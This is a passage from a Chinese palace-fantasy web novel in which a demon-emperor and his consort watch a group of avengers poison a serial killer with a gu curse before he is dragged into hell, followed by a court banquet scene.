城门的侍卫眼珠子随着他们离去的方向转动,不知道是何处来的这么一对年少男女,竟如此胆大妄为,他们使出吃奶的力气,连指尖也不得挪动一寸,仿佛肉身受困于石化的躯壳之内,侍卫们又气又急,又怕摊上祸事,身体微微地发着抖。
他们共乘一匹马,沿着官道向西南而行,沈纨靠在天子怀中,说来也怪,他的体温一向不怎么高。
“陛下究竟要带妾去何处?”
“你如今最挂念何事?”
“那自然是亲人的康健。”
“就这些?”
“自然……也关心在宫里的陛下。”
“……”
虽然想问的不是这个,却勾出了别的答案,沈纨坐在他神情,他冰凉的指尖突然握住她的下颚,指尖向上探,果然,脸有些烫。
“你关心的事要有结果了。”他在她耳边轻声说,然后驱马加快了速度。
沈纨少有行夜路的经验,一时间有些认不得道,他们渐渐远离京城,前往郊外,直接进了山,虽然明月当空,但眼前却一片漆黑,恍惚间似乎看见前方有一队禁军,但天子避开军卫,从满是灌木的密林取道而行,缓缓地上了山。
殊不知在他人眼中,他们所乘坐之马已经化为虚影,即便有提着火把的行路人,或是山下助驻守的禁军向他们看过来,也看不清方才有人骑马越过禁卫,径自上了山。
在临近山顶的时候沈纨瞧见了火把,才终于发现,他们竟来了御龙台的离宫——上阳宫。
“陛下,妾不明白,为何在深夜造访上阳宫?”此地应已被徐氏僭用了,宫门看得到禁军值守。
魔情下了马,带她避开禁军,像一片影子般潜入西门宫墙的阴影之下,但他突然驻足,皱眉道:“奇怪。”
发生了预料之外的实情,一个女子哭哭啼啼地跪在宫门口,不住地乞求要见徐郎,她声称自己是魏国公府长孙的生母,如今孩儿才出生未久,正是思念母亲的时候,却不得一见,求二公子看在骨肉亲情的份上,让她见一见孩子。
把守宫门的禁军面面相觑,想要让她走,却忌惮她的话语,不敢上前扯拽。
沈纨心中震惊,那分明是徐家二公子徐正原的外室莲娘。她此前流落街头,幸得她出手相助,朱大夫将她送去了京郊安置,没过两个月,她就哭着回去求徐氏了。
魔情也发现了,微笑道:“她真是辜负了你的一片好心。”
沈纨低下头,心里堵得慌。
徐二公子重金纳椴花楼头牌是坊间的一桩茶余饭后的著名谈资,官兵如何不知,不放她进去,却也不敢太过为难,只由她在外厮闹。
她此前生产,请朱大夫与琪娘师徒二人照料,没想到琪娘在此期间遭徐阐毒手,而徐阐在数月之间接连作案,却在白露、京娘和沈纨处都碰了壁,恼羞成怒之下,竟去平康坊夜袭椴花楼女子泄愤。
与之亲厚的姐妹遭了毒手,徐阐是徐正原表兄,莲娘忍不住与徐正原争执,被逐出徐家二郎为她置办的私宅。
沈纨后来听闻,朱大夫送她去了自家在远郊的农居,平日里会帮着打理种在田里的药材,瞧她跪在宫门前哭哭啼啼,想来还是熬不得苦。
天子在他身边摇头叹息:“你可真是活佛,但你救的都是些什么人呐”
她表情黯然:“陛下带妾来看的就是这个吗?”
他不置可否道:“再等一等吧。”
晚秋的天气,莲娘衣衫单薄,跪在风里哭啼哆嗦,看着娇怯堪怜,不多时,有侍卫自内出,把她接了进去。
“我们跟去看看。”魔情一把揽过沈纨的腰,带着她越过朱红的宫墙,进入了上阳宫之内。
宫人领着莲娘进入上阳宫西边的一间宫室,出来时已换掉了那身寒酸单薄的衣裳,栖梧殿附近宫灯明亮,园中桂花红叶,半枚弯月倒映水中,别具一番风情。
周围是暖黄的宫灯,琼华池边,两个青年公子正在对坐饮酒,周围的宫娥侍卫人数并不多。
沈纨立刻捂住了嘴,园中两名年轻公子,正是徐阐与他的表弟徐正原。他虽是徐氏兄弟的表亲,却跟随母家姓氏,年纪比徐二公子略长,但长辈及坊间接称三郎,因此徐氏兄弟,也沿袭了这一叫法。
魔情带着沈纨落在栖梧殿雕龙画凤的屋檐上,藏身于屋脊另一侧,前方有宫娥侍卫,后方是漆黑无人的别院,沈纨悄悄探出半个头张望,她觉得这个处境实在是太怪了,当今天子,进入自己的宫苑,却如梁上君子,难道陛下不觉得屈辱吗?
莲娘已换了衣裳,重新挽过头发,饰以钗环,看着妩媚风情,一见徐正原,就在他面前跪下,一口一个徐郎地喊着,膝行至他足边,抱住他的腿,美人哭得梨花带泪,如同丝萝倚乔木,看上去娇怯不胜。
徐二公子声音已经有了些醉意,托起莲娘下巴,见她泪光点点的样子,赞许却又倨傲地问她:“可都知错了?”
“妾此前不识好歹,在外吃了许多苦,方知徐郎才是妾毕生的依靠。”
“你出身勾栏,平康坊那些贱人,也配拿来与徐氏相提并论,你竟然为了这些人与吾争执,她们连名字与我三哥共提都不配,知道吗?”
“再不敢了,以后一心一意地跟着
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徐郎,郎君怜惜妾身罢。”
“向我三哥道个歉吧。”
莲娘赶忙转向徐阐,语气娇弱不胜:“妾身愚蠢,还望三公子大人不记小人过。”
徐阐安静地喝着酒,但他的眼神,却让沈纨感到毛骨悚然,他微微笑着说:“都是自己人,小事而已。”
徐正原一把将她拉起来,让她坐在自己腿上,莲娘顺势黏在她神色,二人动作亲密非礼勿视,一旁的天子却托腮观看,一副饶有兴致的样子。
徐正原一手揽定莲娘,让她坐在自己怀中:“你可得好好谢谢我三哥,若非他替你求情,你还进不得这上阳宫的门。”
“能重回郎君身边伺候,是妾身之福,感激无以言表,小女子所长不多,如蒙不弃,愿献舞一曲,以表谢意。”
徐正原哈哈大笑,兴高采烈地说:“三哥,我的莲娘是个尤物,一曲《绿腰》闻名平康坊,至今无出其右。来!你我为你击缶而歌。”
徐阐也站起来:“佳人在前自当佐以美酒,为兄去取些好酒过来,你我今夜饮个尽兴。”
他起身离开片刻,再回来时,几位宫娥跟在他身后,呈上七宝杯与葡萄酒。徐正原击缶而歌,琼华池边宫灯摇曳,香气弥漫,莲娘舒展身姿,开始跳舞。
她身形纤巧,腰若柳枝,头上的珠翠随着舞蹈,发出细微的金石碰撞之声,她踮起足尖,衣袖随风扬起,眼睛像是会说话,含情脉脉地掠过面前的两位儿郎,突然双臂一展,转了一个圈,一片薄薄的纱衣落在地上。
徐正原已有了十分的醉意,面颊红得好像要烧起来,赞赏地看着她。
沈纨皱眉道:“陛下,那徐二公子不太对劲。”
“五石散,真是大补。”他不无讽刺地答。
他抬头看向天空中的那半枚弦月,知道云层中正藏着蓝月幽阁,饕餮混沌已经就位,本来有正事要做,不了徐家二公子的侍妾凭空出来,凭空多看了一场戏。
晚秋天气寒凉,还跳这个舞,为了复宠,也怪豁得出去的。
但话说回来——
魔情转头看向沈纨,她正觉得有些冷,正轻轻地往手心呵气,忽然感到天子的单衣落在她身上。
“陛下……?”
“可得攥牢了,这衣袍若不慎被吹上天,可就暴露了。”
她轻轻地往他的方向挪了挪,倚在了他身旁。
两个最有资格直接进入上阳宫的人,此刻却趴在屋檐上,做檐上君子,看着僭越的世家声色犬马。
徐正原突然大声遣散宫人。
他身旁的侍卫神色迟疑:“郎君……此举恐不妥。”。
“滚蛋!”徐正原大骂。
宫人连滚带爬地离去,随后的展开令沈纨捂住了嘴,怪不得徐正原要遣散宫人,越来越不堪入目了。莲娘展现了风月场中头号舞姬的绝妙技巧,平康坊流行的小绿腰,并不适宜在人多的时候起舞,徐正原兴奋得出汗,而莲娘也仿佛浑然不觉寒冷似的,每走几步,抖落一件纱衣。徐正原兴奋得手舞足蹈,徐阐只是在一旁静静地饮着酒。
缶声戛然而止,莲娘非常娇弱地嘤一声倒在徐正原怀中,亲密地喊着徐郎,徐正原却身体一歪,肩膀碰到石几上的酒,酒杯摔落在地,他手中的缶也跟着落在地上。
“郎君,我饮得不多,为什么,我也会觉得有些头晕呢?”
“这葡萄酒是进上的绝品,不常饮者容易吃醉,是我失察了。”徐阐在一旁说抱歉。
莲娘伏在徐正原膝边,已没了言语。
沈纨紧张得攥紧了手,只见那徐阐站起身来,全无方才那副风流倜傥佳公子的形象,更像是当日在银杏居外,企图袭击她的样子,神色癫狂。
“呵呵呵……”他的笑声毛骨悚然,随后又仰头大笑起来:“哈哈哈哈哈哈……”
“此獠又起性了。”
天子的声音颇为玩意,但现在哪里还是开玩笑的时候,沈纨紧张道:“陛下,莲娘有危险。”
魔情却按住她,“你安静看着。”
混沌饕餮早已就位,等着收他了。
37. 复仇
徐阐把莲娘放在一旁的石凳上,发出疯疯癫癫的笑声,他看起来已经不像是图谋不轨的寻常歹人,而是展现出一种残虐、非人的兽态,像食人魔一般,面庞已经极度扭曲,距离人很远了。
他拔出徐正原的佩剑,徐家二郎不通武学,腰间的剑不过装饰,但胜在珍贵,依旧非寻常兵器可比拟,剑刃锋利。他在手中掂量一下,觉得杀伤力不够,环顾四周,寻了一把红木交椅,大力往琼华池边的岩石上一砸,红木坚硬,一砸之下只是微微出现裂痕,他再度高举,非常暴戾地重砸下去,泄愤般地猛砸几下,交椅支离破碎,他从中寻了最粗的木杖,往莲娘晕倒处走去。
沈纨心中着慌,忙推身旁的天子:“陛下。”她在徐阐荒弃的私宅里见过那些惨遭他毒手的女子魂魄,情状莫不凄惨,少有全尸。莲娘如花似玉,花朵般的女子,这记一闷棍下去,即使不当场殒命,也会留下终身难愈的残疾。
她虽然贪慕虚荣,但总最不至死。
“一。”
徐阐手执粗壮的红木,正向莲娘走去,即将有惨案发生,天子却无动于衷,反而按住她,目光仍落在徐阐身上,继续数数,声音懒懒的:
“二、三……”
饕餮和混沌的身影已经从阴影中出现,待数到七,炼狱的入口将撕开一线裂缝,那些被他所害的怨灵会出现,将他拖入世界的最底层。
可是没等魔情数到七,发生了连他自己也没有想到的事,徐阐身形晃动,猛地跪下来捂住胸口,哇地吐出一大口黑血。
情况不对,他抬起手,示意两侧的魔将停手。
躺在石凳边的女子竟然动了,莲娘睁开眼睛,施施然起身:“我本以为即便能侥幸进入上阳宫,也还需要几日,你才会下手,没想到你如此穷凶极恶,对人命上瘾,才两个时辰不到,你就按捺不住。”
沈纨瞠目结舌地看着,魔情也不禁蹙眉,正在思考当前的情况,混沌传来了消息,主从之间短暂地交流了片刻,他嘴角浮现一抹微笑,竟然发生了这样的事,看来,不必魔族出手,他也要死了。
他愉快地对沈纨道:“他要死啦,你今夜可以好好看看,这可是千载难逢的现世报。”
徐阐所中之毒带来了钻心剜骨之痛,他又吐出一大口黑血,声音难以置信又怨毒:“我们三人都饮了酒,你如何下的毒?”
“你不会以为只有我一个人想杀你吧?今日之酒本无毒,前辈用的是蛊术,赤蚕蛊会挑选精神最是高涨的宿主,你杀气腾腾,赤蚕不毒你毒谁?”
一旁的徐正原从昏晕中醒来,因五石散的作用,他浑身酸软无力,抬手看见徐阐伏地吐血,而莲娘立于园中,神色是从未有过的冷淡。
徐正原看清楚事态,撑起身体指着莲娘怒骂:“我平素何曾待薄过你,若非你口吐妖言,辱没徐氏名誉,我怎会将你逐出藏香院,你……你怎么敢,为了两个贱籍女子与我反目!”
莲娘捡起地上的锦衣,一件件穿回去,寒风吹着她的身体,显得愈加单薄,她慢慢说道:“二郎此言差矣,不是两个,是四个,珍珠和翡翠没被官府算进去,当她们同样受到重创,椴花楼不留闲人,没有利用价值,她们就被鸨母扔了,只多活了两天。是我在郊野替她们收尸,我们姐妹自幼无靠,情同手足,死了也无人在意,鸨母嫌麻烦,影响椴花楼生意,但我很在意。”
“我数月前生产之时,那两个医女对我无不尽心,你却放任琪娘为你表兄所擒,而他原本看中的女子,被送入你房中供你取乐,没几天腻了,又送给你年近九十的祖父,这些你真当我都不知吗?”
“三哥虽是外亲,但祖父素来护短家中晚辈,你杀了他,即是以整个徐氏为敌,你以为自己能活着离开吗?”
莲娘身后的徐阐发出凄厉的惨叫,七窍流血,淌了一地腥臭的黑色液体,四肢不自然地抽搐,身体内的骨头向内塌陷下去。
“你不会再看到我了,留你活口,不过要让你看好好看清楚,是谁杀了他,可别错认了凶手。”她走近徐正原,微微弯下腰,自上而下去看他:
“二郎,我尚记得些许幼年之事,我若非被拐子拐入京城,也曾是读书人家的女儿。幼年之事,尚有一些模糊的印象,我那不知在何处的母亲教我读过书,道理还是懂的,你们视百姓为草芥,百姓必将视你等为寇仇,徐阐遭了报应,徐氏未来也不例外。”
“你是佛奴之母,诞下徐氏唯一长孙,本能余生安享荣华,如今却自取灭亡,荒唐!”
提到孩子,莲娘似是有些动摇,但很快又冷下脸来:
“我曾以郎君为终身依靠,而你高兴时一掷千金,为我当街打死轻薄客,不高兴了,就将我撵上街头乞讨,荣辱不过郎君兴致所至。这数月死掉多少好人家的姑娘,你们家风如此,我都怕再跟着你,来日下地狱。”
“傅姑娘,是时候该走了。”这时自莲娘身后的阴影处,走出来两个人,沈纨认出一个是高觉,另一个是凤鸣,高觉隔空一巴掌,声音极响,徐正原被扇得当场晕厥。
沈纨吃惊地捂住了嘴,他们真的将她透露的信息听了进去,共同策划了一场复仇。
更多的人自暗处出来,其中有两个宫人装扮的女子,还有一位侍卫,原来上阳宫内尚有内应,其中一名女子拿起徐正原掉落在地上的佩剑,照着徐阐心脏所在的地方刺下,锋利的剑尖穿体而过。
沈纨听到那女官恨声道:“你如今所受之苦,不及吾女的万分之一。”
沈纨听得那女官的声音,心下震动,太熟悉了,绝不会错。
那是……锦瑟姑姑。
她突然有种感觉,锦瑟姑姑到底还是在梦里见了女儿一面,她在离开沈宅前往乡野静养的时候,心绪已经极度的萎靡与恍惚,也许梦中的告别,到底还是刺激了她,决意向伤害女儿的人复仇。
魔情扫视了一圈四下出现之人,又有宫人又有侍卫,显然此事谋划已有些时日,大家里应外合,促成了这一事态。
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他不禁笑道:“他伤害的人太多,全世界都与他为敌呢。”
差不多可以下去了。
他对沈纨说道:“走吧,下去会会他们。”说着他站起来,带着沈纨,越过栖梧殿,轻捷地落在众人面前。
凤鸣和高觉警觉地举起剑来,其中有一名侍卫和一名女官看到天子现身,瞠目结舌地看着他们,突然瘫倒在地,颤声道:“见……见过陛下,见过婕妤娘子。”
这两个倒是上阳宫真正的差役。
莲娘不识天子,但她此前蒙沈纨相助,有过一面之缘,而高觉与凤鸣,又和沈纨有过两面之缘,众人见她与当今圣上一同现身,无不震惊,一时间话都说不出来。
高觉心神稍定,收了剑,但神态依旧警觉地问道:“你是天子?为何会出现在上阳宫?”
“这里本就是朕的离宫,他们才是鹊巢鸠占的家伙。”他说着扫了地上的徐氏兄弟一眼。
这么敷衍的答案什么都解释不了,高觉满腹狐疑,但毕竟天子在前,他抱拳躬恭声致歉:“草民不过江湖草莽,不识礼数,今日之举,还望天子恕罪,我等为一桩官府不能解的公案而来,如今事毕,并无意生事,还望陛下网开一面。”
莲娘亦上前跪下:“毒是民女下的,与他人无关,我等聚集到此,有因家中亲眷遭其毒手的,也有路见不平的义士,如今大仇已报,陛下若治罪,民女绝无怨言。”
“你们倒是抢着认罪,朕且问你们几个问题。”他看向锦瑟身旁的宫女:“你本是上阳宫的宫人,为何要里通外人,擅入皇家禁苑?”
那女官伏在地上,泪流不止:“奴婢万死,皆因奴的亲妹子,死在徐阐手上。”
“那么你呢?家中又是谁遭了毒手?”他看向另一旁的侍卫。
“卑职……家中并无亲眷遇害,实是出于义愤,不忍见凶手逍遥法外。”
锦瑟分明认出了沈纨,只是难以相认,攥着双手,看上去非常紧张。
沈纨轻轻握住天子的手,她认为他应当不是想要发难,又总觉得他喜欢玩弄人心,真是坏习惯。
“陛下,”高觉忍不住道:“请听草民斗胆一眼,那徐阐为祸多年,不止京城,他在扬州时就累犯命案,算上京城的,实难以计数,草民此次北上,一路观见汹涌民意,虽然陛下与徐氏有姻亲,但此人若逍遥法外——”
小皇帝突然举手打断了他的话。
姻亲?什么姻亲?谁跟谁有姻亲?胡言乱语,听着烦。
魔家有魔家的计划,却被人半路截胡,但也不影响,只时间有限,饕餮和混沌还在暗处等着,他们也有他们的事要办的。
众人紧张地等候着天子发落,魔情能感觉到,高觉和凤鸣这两位武学修为在人间算是翘楚的侠客,始终没有放松警惕,在必要时刻,他们会放手一搏,尽量将众人救走,他叹息道:“你们走吧,朕就当今日没见过此事。”
仿佛不能置信似的,大家一时都怔住了。
38. 地狱
一场联合起来的围杀和擅闯禁廷得到了意外的宽纵,即便刺客膝盖有点硬,也跟着旁人屈身向天子谢恩。
魔情继续问他们:“朕还有一个问题,此处是天家行宫,山下禁军把守严密,你们如何进来,又打算如何离去?”
高觉答:“御龙台东侧的观景台,其山壁上生有古藤,我等先行攀援而上,再接应其他人。”
东侧的山壁陡峭,两位剑客修为高,拦他们不住,但锦瑟能爬上来,想必也存了必死之志。
看样子离去也会是一番周折,魔情懒懒一挥手:“你们走吧,一旦天明,山下禁军巡查,更出不去了。”
现在的场面变得有些费解,地上趴着两个世家子,一死一昏迷,琼华池边站着一个少年天子,旁边是他的宠妃,即便众人能安然离去,解下来又怎生收场?众人一时间竟没法反应过来。
锦瑟易容而来,分明认出了沈纨,忧虑地看了她几眼,只是不便相认。
魔情见他们神色犹豫,从地上捡起徐正原的剑,向众人身后的栖梧殿飞掷出去,剑如一道银光掠过众人身后,穿透殿前的柱子,深深扎进去,直至没柄。
建造宫殿选用的木材,无不高大粗壮,随手掷出就穿透廊柱,是何等的功力,树干可不是血肉之躯。
高觉的武学已算当世英杰,也被这非人的力量所震撼,他不能置信地回过头,重新审视面前这少年。
“怎么还不走?怀疑朕会告密?若有心找你们麻烦,你们今夜这些人,一个也逃不掉,别浪费时间了。”
“既如此,草民谢过圣上。”
莲娘离去之时,沈纨突然喊住她:“娘子留步,我冒昧一问,你那几位姐妹,如今可妥善收殓了?”
此语似触动她,她驻足露出伤感之态,垂首道:“有劳贵人挂怀,朱大夫是善心人,多亏她相助,使我的几个姐妹并不至于曝尸荒野。”
她纳了一个很深的福才起身继续道:“民女今日才知,原来娘子是传闻中的沈婕妤,此前对贵人多有冒犯,又蒙慷慨相助,救命之恩,无以为报。”
“你……你今日为何要这么做?”
莲娘踟蹰片刻:“不瞒娘子,当初在医馆内,娘子仗义相助令民女铭感于心,‘虽然怕,但依然要做。’,贵人此语也令民女反复思量,这才鼓起了勇气。”
“惭愧,敢问娘子闺名?”
“我?”莲娘有些意外,但依然恭恭敬敬地答:“民女闺名傅莲心。”
“今日一面恐怕后会无期,还请傅娘子多保重,如今时候已不早,不敢耽搁各位,还请尽快离去吧。”
他们这次离去再也未多言,锦瑟也低着头离开了,只有高觉凤鸣这两位剑客向沈纨看过去一两眼,心照不宣地对视一瞬,又立刻别开了目光。
沈纨和天子在原地等了一会儿,宫门外并未传来明显动静,想来提前已经安排妥当,沈纨平复了下心情,她从刚才起就很紧张,待上阳宫内又重回安静,她才说道:“陛下是如何知道今夜上阳宫有事的?”
“我不知道哦,今日遇到这些人纯属意外。”
魔情抬起头,饕餮和混沌其实还在待命,最初的计划受到了这一段插曲的影响,以至于魔族预备的压轴戏吗现在才要登场。
琼华池边,死了一个,昏迷一个,气氛阴郁得可怕,沈纨难受得浑身发毛:“那么陛下今夜带妾身来此所为何事?”
“别急,好戏还没来呢。”天子往前几步,一脚把徐阐踢得翻过身来。
他的脸已经完全扭曲,满面黑血,完全看不出原本还算英俊的面容,暴突着双眼,眼皮还在微微翕动,他先看到了天子,又看到沈纨,露出非常怨恨的神色。
“咦?你还没死啊?”天子笑微微地看着他,语气听起来居然颇为愉快,徐阐中的毒猛恶剧烈,受蚀骨之痛,身体都烂掉了,发出难闻的气味,虽然他应受此报,但如此情状,一具被侵蚀,腐化的肉身在眼前,沈纨胃里翻江倒海,难受得站在原地,不愿再往前。
天子在他身前倾身问:“还有什么遗言要交代吗?”
他口中溢出黑血,竭尽全力地说:“我……被黑暗吞噬了……有什么东西……在追着我,永远无法满足……”
“我瞧着你家教不太好。”天子眼神冰冷,非常冷酷地看着他。
沈纨现在很不安,不知为何她心跳变得非常剧烈,不详的感觉越发浓厚,周围的宫灯明显黯淡下来,狂风骤起,但反常的是,她并未感到寒意,而是渐渐觉得有些热起来,周围景观骤变,好似有风暴在盘旋。
徐阐似乎意识到什么,眼神变得极其恐惧,而注视着他的小皇帝,竟然露出了有点不太像人的,妖异的微笑。
沈纨发觉地面和周遭的建筑开始颤抖摇晃,地动山摇,她一时间有些站不稳,天子退到她身边,伸出手扶住她。
“好好看看,这种事不太常见。”
一道裂缝自徐阐身下裂开,从幽暗的深渊里,无数的狱火自下涌出,裂缝逐渐扩大,冥火之外,另有红色的岩浆喷涌而出,裹住了徐阐的身体,他突然发出惨烈的尖啸,他身躯所有的皮肉融化,变成了一个通红的血人
无数骷髅的手从裂隙中伸出,像是饥饿已久的恶鬼,将他向深渊扯去。
场面太过血腥惨烈,沈纨惊叫着后退了一步。
身旁的天子伸出手来揽住她,手放在她肩上:“你此生可能再难见到第二回了,目睹一个活人下地狱。”
四周宫灯尽灭,冥火照亮夜空,沈纨听到了各种骨骼碎裂的声音,仿佛有什么钝器反复击打他的肉身,徐阐的叫声越加凄厉,天子在旁道:“这种人下去之前,会重历一遍他此前所作的一切。”
深渊下一片火海,无数亡灵和恶鬼在挣扎那些化为白骨的手从地狱中伸出,去扯徐阐,他再次发出极其痛苦的尖叫,他的身体裂开了,白骨将他拖下地狱,裂缝中喷出更多冥火,将他的身躯完
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全覆盖,一时间裂缝冒出剧烈的强光,沈纨感到难以直视,被晃得什么都看不见了。
天子突然转身搂住她,把她的脑袋按在自己怀里:“觉得可怕就先别看了。”
再说,接下来也不是她该看的时候。
徐阐的灵魂窜出一股黑气,那些黑气聚拢到魔情的掌心,他的罪业被魔域收割,变成了魔公子掌心一团漆黑跳动的火焰。
一个邪恶的灵魂被献祭出去,从痛苦中提炼出了一个带着恶业的魂丹,成为魔族的食粮,栖梧殿前魔气激荡,魔公子金色的眼眸在冥火前亮得可怕。
魔情看着手中的黑焰,微微皱了皱眉,火焰的颜色已经不够纯粹了,一群不知道从哪里冒出来的凡人居然聚集起来,让他的计划出现了一点瑕疵,但对于他修为的恢复,多少有点作用。
可惜了,魔情心中微叹。
如果徐阐就这么无预兆地被冥狱接受,魂魄尚在世间的那些游荡的亡者会因为没能等来公道愈加怨恨,亡者的愤怒会助长黑暗,黑暗才是魔喜欢的食粮,但没想到,人间尚有一群素不相识的人联合起来,在官府的审判之外完成了复仇,慰藉了死者,也让那颗魂丹变得不如他预想中的那般邪恶了。
裂缝缓缓合拢,强光消退,可怕的惨叫也消失了,但沈纨耳朵嗡嗡响,仿佛那些尖啸还回荡在耳际,第一次接触到冥狱的气息,不论是看、听、还是嗅到的死亡气息,都可怖得难以言说,四周重归寂静,她默默从他怀中转过头来,徐阐的依然躺在地上,但他身下的地面出现一大片焦痕。
“欸?你怎么下地狱啦?”天子的语气轻快地弯腰看着徐阐的尸体,他的魂魄被拖入了深渊,不会再游荡在世间,而是直接去了地府的最深处。
他转头瞥了一眼沈纨,见她脸色发白,但并不像他所预料的那样恐惧,不由带了点笑意说道:“朕的沈婕妤胆识不错,看到这些都没有被吓着。”
沈纨慌张道:“当……当然还是怕的,其实妾现在话都说不出来了。”
她的心还跳得很厉害,完全无法平静,除了目睹一个人在她面前下了地狱之外,她觉得自己从此也多了一个秘密,她参与了一场复仇,通过因势利导,扮演了最初的一环,一个恶徒死了,而她也是共同的参与者。
而这一切,自认手眼通天,将凡人视为蚂蚁的魔将们都没有发现,混沌虽有全知的能力,但不是时时刻刻都会用心倾听世间的杂音。沈纨对他们而言,不过是个心地善良,亲近佛门的少女,见不得疾苦,所以她看到江湖客行侠仗义,却没有预料之中的好结果,会去送一帖金疮药。混沌万万没想到,这个微不足道的善举背面隐藏着切实的杀机,短短一句话,让一群素昧平生的人联合起来,最终导致了公子的计划出现了瑕疵。
母亲为了女儿,姐姐为了妹妹,而非亲非故的,也有人存了些许侠义心肠。
魔将们谁都没有发现,那个破坏公子计划的人,此刻恰恰就站在公子身旁。
39. 魔相
徐阐意外身死,世家掩盖消息,故他的死因在市井中并不明确,众说纷纭,但死讯无可避免地传扬出去,京城着实热闹了一阵,甚至有人在坊内放起烟花爆竹,引起城内守军驱赶,众人一哄而散,待巡城军稍有懈怠,复又欢庆,很下徐氏的脸面。
虽如此,一个月后,长乐侯徐虎的八十大寿如期而至,不久前才死了外孙,魏府的气氛很是惨淡了一阵,但八十毕竟是高寿,少不得要大肆庆祝,筹备比之云华大长公主此前的生辰宴,排场又更上一重。
寿宴前一日,天子下诏,魏国公有功于江山社稷,赐下王爵,封魏王,而长乐侯亦得封长乐公,庆生辰于凤凰台,大宴百官。
沈纨作为婕妤,破天荒地受邀参加了徐虎的寿宴,多月不见徐贵妃,她装扮得更加雍容华贵。虽然大婚尚在筹备,但徐兰宁在宫中,众人已经以后礼相待。宫宴上,徐虎作为寿星,与天子平起平坐,二者左右才坐着皇太后与贵妃,沈纨屈居于一旁次席,在她对面是天子叔父福王,和徐氏有些姻亲关系,因而比其他宗室坐得更近。福王四五十岁年纪,人生得胖,说几句祝寿的话,饮几盅酒,就有些气喘。
观舞时沈纨察觉到天子遥遥地向她看过来,不动声色地举杯,唇边挂着神秘平和的笑容,徐阐之祸已然了解,她隐居在银杏居内,日子过得还算平顺,突然被拉出来,看着天家富贵,感受世家冷眼,实在没意思得很。她不着痕迹地略略颌首,也饮一口酒,正经册封的天子嫔御,却要如此偷偷摸摸地遥相敬酒,哪里笑得出来。
徐敦封王,徐氏一门荣宠无双,距离帝位仅一步之遥,天子竟然还是那副诸事于己无关的放任,另一旁的皇太后,即便想要作出和乐的姿态,也已经相当的勉强。
完全搞不明白陛下的想法,这种危机压迫在眼前连她一个出宫的婕妤都看出来了,遑论朝堂之上,沈纨默不作声地放下酒杯,心下忧虑,表情毫无欢容。
宴饮快结束了,离去前需向天子和太后请安,女官引着沈纨来到凤凰台的主观景台,彼时徐贵妃亲族俱在,百官献礼长乐公仍未结束,贵妃面前摆着一张大案,上面放着一顶璀璨华丽的龙凤牡丹金冠,龙乘祥云,凤衔东珠,牡丹花瓣是金色的薄片,花蕊为红宝石。徐家女眷对沈纨熟视无睹,只顾与贵妃闲聊,一看便知,这是为徐兰宁大婚预备的凤冠。
徐兰宁与家人在一处,离天子和太后稍远,沈纨先向天家母子请安,才去向贵妃见礼,她与徐妃皆为宫嫔,论理,除了云华大长公主是长辈,徐家女眷除却贵妃,其他人理应敬她,但魏国夫人与其他的徐氏亲眷对沈纨熟视无睹。
“如月,起来。”天子的声音自一旁传来。
“谢陛下。”沈纨起身谢恩,只想赶快离去。
大长公主正同魏国夫人说话,语气不悦:“……都是些见不得光的外室,丧事又不是没人料理,大喜之日,提来做什么,没得晦气。”除了徐阐,风闻徐府近日另有丧事,长乐公近日又先后殁了两个侍妾。公主与国夫人谈及料理丧事的话题,言语颇为尖刻,也并不刻意避讳沈纨。
有宫女奉茶而至,不小心泼了沈纨一裙子,慌得跪下来,贵妃斥责她毛手毛脚,让她赶快去换新茶上来,天子默不作声地过来,拖起她的手,牵到一旁的女官身边:“带她下去换身衣裳。”
大长公主在那厢笑容可掬地唤天子:“陛下,这花梨木摆件的雕工甚佳,寓意也好,娥皇一直想要一对龙凤摆件,大婚之夜放在洞房,陛下快来瞧瞧这手艺。”
“公主是长辈,见多识广,岂有不好的。”他面带微笑回应,说话不打草稿地恭维。
沈纨被女官领到凤凰台后的栖凤阁内更衣,大殿内,有宫女正在其中布置茶器,看起来,徐氏在生辰宴后,尚有私人宴饮。
栖凤阁统共有三层,女官引她到上层的偏室更衣,大殿内人手欠缺,一直在唤人干活,女官才服侍她换完衣裳,就匆匆离去。沈纨没有立刻离开栖凤阁,而是在这间偏室坐下来,心中甚为委屈。
当初入宫也不是自愿,皇帝虽待她不算差,但这婕妤的身份如今形同虚设,宛如一根细细的针,咽不下去取不出来,微微一动就划出血丝,越来越难熬了。
魔情来到偏室前,见半天没有动静,遂推门进去,发现沈纨低头坐在里面,见天子进来,起身见礼。烛光昏暗,魔情见她脸色有点苍白,他走上前,手伸过来,微微挑起她的发丝。
“该不会是哭了吧?”
虽不至于,但心情也好不到哪里去就是了,沈纨忍不住叹息道:“陛下,事已至此,不如恩准妾真正离宫如何?”
他的表情突然有些诧异:“你想出宫?”
“妾本来已身在宫外,陛下又大婚在即,妾又何必自讨没趣,碍未来皇后的眼。”
横竖,她入宫也不久,和天子感情实在谈不上深,事到如今,更是想家。
面前的青年却丝毫没有见怪之色,而是若有所思道:“这倒是巧了,这几日朝议本就涉及你父亲,只是还未有决定,今年有数州的地方官职待补,河东的并州与相州都缺一位从四品的佐官,若沈卿外调,朕不会拦阻你们一家团圆。”
“陛下此话当真?”
“反正京城如今对于你们不甚安全了,不如先藏好些,别急着冒头。”
内心不可能一点怨气也没有,没想到提出要求迅速得到许可,反心寒得很,于是起身拜谢:“那么,妾身就谢过圣恩了,大婚在即,妾祝陛下和贵妃琴瑟永谐。”
皇帝打断她,目光冷下来:“如月,别那么做作。”
此刻的偏室之外也热闹得很,徐府的女眷悉数自凤凰台进入栖凤阁更衣,魏国夫人似乎在与女官说着什么,她的语气很是不善。
“你说什么?贵妃夜夜入侍,天子却不曾临
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幸?”
女官的声音也很是慌张:“徽元殿如今都是信得过的人,魏王紧张皇嗣,彤史写得丰盛,太医院也时刻上心,贵人身体康健,频繁侍寝却总无喜讯,所以……我等近些日子入夜后多留意了帝寝,贵妃凡侍寝之夜总是昏睡不醒,而陛下不接近龙塌。”
魏国夫人的声音听起来很是愤怒:“荒唐,竟然……竟然如此戏弄吾女。”
沈纨简直不敢相信自己听到的,忍不住抬头看向天子,他微微低下头,小声道:“你方才说什么来着?早诞麟儿?要让你失望了,没有的事。”
她入宫至今,与天子有诸多奇妙经历,但从无实质上的亲密行为,她本以为是自己不得天子青眼,没想到他也不亲近其他人。
不由得浮想联翩。
他看着沈纨的脸色红一阵白一阵,不由眯了眼抱手问她:“你不会在想什么怪事吧?”
她垂下眼帘:“这是难免的吧。”
如此冷漠,不由让人怀疑,天子是否实有断袖之癖,或难言之隐。
他突然嗤一声笑出来:“就怕你承受不起。”
